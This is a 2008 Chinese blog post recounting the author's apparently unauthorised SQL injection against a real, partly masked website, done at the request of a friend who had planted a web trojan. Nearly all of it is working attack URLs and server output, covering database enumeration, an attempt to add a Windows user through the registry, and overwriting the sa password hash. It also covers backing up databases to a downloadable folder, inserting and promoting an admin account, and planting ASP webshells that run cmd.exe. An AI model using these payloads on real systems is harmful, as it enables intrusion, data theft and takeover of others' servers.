有问题请加入技术Q群: 36085817(DELPHI朋友)
 

时 间 记 忆
最 新 评 论
专 题 分 类
最 新 日 志
最 新 留 言
搜 索
用 户 登 录
友 情 连 接
博 客 信 息


 
[黑客技术]一次刚做完得sql注入
[ 2008-1-25 2:49:00 | By: roki ]
 
(成功获得一个webshell,可以删改数据库任意数据,可以备份他的数据库并下载到本地)

不过我没有做任何破坏,希望各位也抱着学习的心态来看这些代码。

千万不要做破坏,毕竟蛛丝马迹都是难逃的。。。。。。虽然没做什么破坏,但是我心里还是有些紧张,毕竟第一次实践注入。。。。。


最近一个朋友和我说他通过 IIS溢出获得了一个webshell 刚挂了一个网马,一个小时上线了 300多台肉鸡(很可怕的) ,可惜很快后门被封了漏洞也补上了,

问我有没有办法,我不好拒绝,只能说试试咯。。。他给我网址,我就用 啊D扫了下,,,哇,还真有四个注入漏洞,手工测了测,只有一个是 sql server 的,其余都是 ACCESS的,我对 ACCESS特别讨厌,反正也搞不出什么明堂来(如果没有可上传的管理后台的话)。


不过 漏洞嘛,一个就够了,要那么多干啥哩,,,,大家说是吧。。。

看了很多SQL注入的资料,掳起衣袖就开始。。。。

这个注入漏洞和很多用 ID=数字 的那种不一样,是字符串的,因此。。。我就构造了一个字符串出来。。
---------------------------------

http://61.*.*.*/assist/dim_counter2.asp?di=103&gourl=http://www.east***.com/xgss/newstock.html ' and (select count(*) from sysobjects) >11 and 'a'='a


http://61.*.*.*/assist/dim_counter2.asp?di=103&gourl=http://www.east**.com/xgss/newstock.html ' and (select count(*) from sysobjects) >1100000 and 'a'='a
-----------------------

反馈回来都是空白页,如果不仔细看根本看不出什么明堂哦,但是如果看源码,绝对是不一样的哦,一个源码是:
第一段返回的源码:
<script>location.href='http://www.east**.com/xgss/newstock.html ' and (select count(*) from sysobjects) >11 and 'a'='a'</script>
第二段返回的源码:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=Content-Type content="text/html; charset=gb2312"></HEAD>
<BODY></BODY></HTML>


看出区别了么?一个条件成立的时候反馈回来的就是一个跳转代码(是 javascript的跳转代码),条件不成立的时候返回的是没有任何东西的。。。。第一段的条件是 (select count(*) from sysobjects) >11 数据库里的对象一般都超过11个的咯,所以说条件当然成立,第2段的条件是(select count(*) from sysobjects) >1100000 ,数据库里没有那么多对象,因此不成立,反馈回来的是空,于是就跳到了空白页面。


看到了吗?这两句说明了一个问题,‘号 和 =号没有被屏蔽,是 MSSQL数据库,可以通过这两种反馈回来的结果页面看出成功与否。。。。。


------------------------

接下来,,,,就是探测信息了,,,嘿嘿,看我构造的这些语句。。。。打字很累 我就不一一解释了哦,不明白的可以回帖 我来给你们解释。。。



http://61.××××/assist/dim_counter2.asp?di=103&gourl=http://www.east××××.com/xgss/newstock.html ' and (select top 1 name from sysobjects) >1 and 'a'='a

反馈出有一个对象 ahcmd

Microsoft OLE DB Provider for SQL Server error '80040e07'

Syntax error converting the nvarchar value 'ahcmd' to a column of data type int.

/assist/dim_counter2.asp, line 12



------------------

http://61.****/assist/dim_counter2.asp?di=103&gourl=http://www.***.com/xgss/newstock.html ' and (select count(*) from master.dbo.sysdatabases) >8 and 'a'='a


http://61.****/assist/dim_counter2.asp?di=103&gourl=http://www.***.com/xgss/newstock.html ' and (select count(*) from master.dbo.sysdatabases) >7 and 'a'='a


猜出 里面有8个数据库(包括系统数据库)

--------------------


http://61.****/assist/dim_counter2.asp?di=103&gourl=http://www.***.com/xgss/newstock.html ' and (select @@version)>8 and 'a'='a


Microsoft OLE DB Provider for SQL Server error '80040e07'

Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.2039 (Intel X86) May 3 2005 23:18:38 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ' to a column of data type int.

确定版本信息

---------------------


http://61.****/assist/dim_counter2.asp?di=103&gourl=http://www.***.com/xgss/newstock.html ' and user_name()>8 and 'a'='a








Microsoft OLE DB Provider for SQL Server error '80040e07'

Syntax error converting the nvarchar value 'comeonbaby' to a column of data type int.

/assist/dim_counter2.asp, line 12

确定用户名为 comeonbaby

----------------------------


http://61.****/assist/dim_counter2.asp?di=103&gourl=http://www.***.com/xgss/newstock.html ' and db_name()>8 and 'a'='a


Microsoft OLE DB Provider for SQL Server error '80040e07'

Syntax error converting the nvarchar value 'EMASSIST' to a column of data type int.

/assist/dim_counter2.asp, line 12

获取当前的数据库名称为 EMASSIST

-----------------------------


http://61.****/assist/dim_counter2.asp?di=103&gourl=http://www.***.com/xgss/newstock.html ' and (select top 1 name from master.dbo.sysdatabases where dbid>6)>8 and 'a'='a



Syntax error converting the nvarchar value 'EMASSIST' to a column of data type int.

第一个用户数据库名 是 EMASSIST

------------------------------

http://61.****/assist/dim_counter2.asp?di=103&gourl=http://www.***.com/xgss/newstock.html ' and (select top 1 name from master.dbo.sysdatabases where dbid>7)>8 and 'a'='a

Syntax error converting the nvarchar value 'SearchLog' to a column of data type int.



第2个用户数据库名 为 SearchLog
(只有8个数据库,SQL默认是6个系统数据库哦,因此,不用继续看了,肯定是没有第3个用户数据库了。。。。。实事上我的结论被证明是对的。where dbid>8 的时候根本就没数据库了)
--------------------------------


http://61.****/assist/dim_counter2.asp?di=103&gourl=http://www.***.com/xgss/newstock.html ' and (select IS_MEMBER('db_owner'))=1 and 'a'='a


测出是 db-owner权限

---------------------------------



http://61.****/assist/dim_counter2.asp?di=103&gourl=http://www.***.com/xgss/newstock.html ' and (select IS_SRVROLEMEMBER('sysadmin'))=1 and 'a'='a

不是 sa权限

------------------------------------

http://61.****/assist/dim_counter2.asp?di=103&gourl=http://www.***.com/xgss/newstock.html';--;select top 1 a from ahcmd where 'a'='a


以上语句成功反馈,说明可以单独构造出一句独立的执行语句(;--;)在--的地方可以直接写自己的语句即可。


确定可以构造出一条执行语句

-----------------------------------

http://61.****/assist/dim_counter2.asp?di=103&gourl=http://www.***.com/xgss/newstock.html';master.dbo.xp_regwrite ''HKEY_LOCAL_MACHINE'',''SOFTWARE\Microsoft\Windows\currentvers ion\run'',''aa'',''REG_SZ'',''net user abc abc /add'';select top 1 a from ahcmd where 'a'='a


http://61.****/assist/dim_counter2.asp?di=103&gourl=http://www.***.com/xgss/newstock.html';update master.dbo.sysxlogins set password=0x0100AB01431E944AA50CBB30267F53B9451B7189CA67AF19A 1FC944AA50CBB30267F53B9451B7189CA67AF19A1FC where sid=0x01;select top 1 a from ahcmd where 'a'='a


两步都是失败,说明没有读写注册表的权限
------------------------------------------------


http://61.****/assist/dim_counter2.asp?di=103&gourl=http://www.***.com/xgss/newstock.html' and (select [password] from master.dbo.sysxlogins where sid=0x01)>0 and 'a'='a


Microsoft OLE DB Provider for SQL Server error '80040e09'

SELECT permission denied on object 'sysxlogins', database 'master', owner 'dbo'.

/assist/dim_counter2.asp, line 12


没有权限,查看不了sa的密码(一般 dbowner都没有的)
------------------------------------------------



这时就要利用啊D帮忙了,让啊D分析出网站目录文件结构,嘻嘻,开始备份他的数据库

如果没有下载目录的话,备份出来也那不到啊,。。。。
-------------------------------------------------

http://61.****/assist/dim_counter2.asp?di=103&gourl=http://www.***.com/xgss/newstock.html';backup database EMASSIST to disk='d:\assist\bak\a.bak' with init;select top 1 a from ahcmd where 'a'='a

备份数据库到D盘d:\assist\bak\a.bak

http://61.****/assist/dim_counter2.asp?di=103&gourl=http://www.***.com/xgss/newstock.html';backup database SearchLog to disk='d:\assist\bak\s.bak';select top 1 a from ahcmd where 'a'='a

通过 http://61.****/assist/bak/a.bak 下载下来


好啦 ,拉下来一看 有300M。。。。。。释放出来的数据库竟然有8G!!!!!我忙了好一阵才疼出空间来,,,晕死了。。。。这只是一个库。。。


---------------------------
还原数据库后,发现有一个表EDITORLIST,存放的是管理员的用户密码信息,于是就用下面几句来探测下。。。

http://61.****/assist/dim_counter2.asp?di=103&gourl=http://www.***.com/xgss/newstock.html';insert into EDITORLIST(editor_validity,editor_name,editor_create_time,editor_password)values('1','sunyan','2006-08-31 15:15:27.000','618a5676d977177f') ;select top 1 a from ahcmd where 'a'='a

http://61.****/assist/dim_counter2.asp?di=103&gourl=http://www.***.com/xgss/newstock.html ' and (select top 1 editor_password from EDITORLIST order by editor_id desc) >1 and 'a'='a

http://61.****/assist/dim_counter2.asp?di=103&gourl=http://www.***.com/xgss/newstock.html' and ( select editor_id from EDITORLIST where editor_password='618a5676d977177f') =11 and 'a'='a

http://61.****/assist/dim_counter2.asp?di=103&gourl=http://www.***.com/xgss/newstock.html' and ( select editor_id from EDITORLIST where editor_password='618a5676d977177f') =11 and 'a'='a

插入一条用户管理员 并查询


更改管理员密码

http://61.****/assist/dim_counter2.asp?di=103&gourl=http://www.***.com/xgss/newstock.html';update EDITORLIST set editor_password='469e80d32c0559f8' where editor_password='618a5676d977177f';select top 1 a from ahcmd where 'a'='a

插入管理员权限


http://61.****/assist/dim_counter2.asp?di=103&gourl=http://www.***.com/xgss/newstock.html';insert into EDITORRIGHT(right_editor_id,right_func_id )values(11,4);select top 1 a from ahcmd where 'a'='a


哈已经可以登陆它的后台了,,,,可是后台没有上传的功能。。。。。郁闷


登陆地址 :××××××× 我就不写了。。。


目的已经达到了,为了生成一个webshell我考虑来考虑去,只有一句话木马和备份法可以实现哦。。

好决定再试试。。。。
------------------------

备份生成一句话木马

测试:

http://61.****/assist/dim_counter2.asp?di=103&gourl=http://www.***.com/xgss/newstock.html';use SearchLog;use EMASSIST;select top 1 a from ahcmd where 'a'='a

OK!

---创建一句话木马-
http://61.****/assist/dim_counter2.asp?di=103&gourl=http://www.***.com/xgss/newstock.html';insert into ahcmd (a) values ('<%execute request("value")%>');select top 1 a from ahcmd where 'a'='a

http://61.****/assist/dim_counter2.asp?di=103&gourl=http://www.***.com/xgss/newstock.html';BACKUP DATABASE EMASSIST to disk='d:\assist\bak\t.asp' with DIFFERENTIAL,init;select top 1 a from ahcmd where 'a'='a




--http://61.****/assist/dim_counter2.asp?di=103&gourl=http://www.***.com/xgss/newstock.html';use SearchLog;create table cmd(str image);use EMASSIST;select top 1 a from ahcmd where 'a'='a

---http://61.****/assist/dim_counter2.asp?di=103&gourl=http://www.***.com/xgss/newstock.html';use SearchLog;insert into cmd(str) values ('<%execute request("value")%>');use EMASSIST;select top 1 a from ahcmd where 'a'='a

http://61.****/assist/dim_counter2.asp?di=103&gourl=http://www.***.com/xgss/newstock.html';use SearchLog;BACKUP DATABASE SearchLog to disk='d:\assist\bak\t.asp' with DIFFERENTIAL,init;use EMASSIST;select top 1 a from ahcmd where 'a'='a

查看
http://61.****/assist/dim_counter2.asp?di=103&gourl=http://www.***.com/xgss/newstock.html ' and (select top 1 str from SearchLog.dbo.[cmd])>1 and 'a'='a




----------------------创建简洁shell



http://61.****/assist/dim_counter2.asp?di=103&gourl=http://www.***.com/xgss/newstock.html'; create table cmd(str image); insert into cmd(str) values ('<%=server.createobject("wscript.shell").exec("cmd.exe /c"&request("c")).stdout.readall%>');backup database model to disk='d:\assist\bak\l.asp with DIFFERENTIAL,init;select top 1 a from ahcmd where 'a'='a


好了,,,,,已经创建了我的木马和 webshell了,,,,


提权?又是一件很麻烦的事情哦。。。。。。。。。。。。。。。。


这里就不接着说了,很多老方法现在都不能用了,,我自己也没继续弄下去,的确很痛苦的一件事。。。。



^_^。。。。。。。。。。
 
有问题请 加入 技术Q群 :36085817(DELPHI朋友)

发表评论:

    大名:
    密码:
    主页:
    标题:
Powered by Oblog.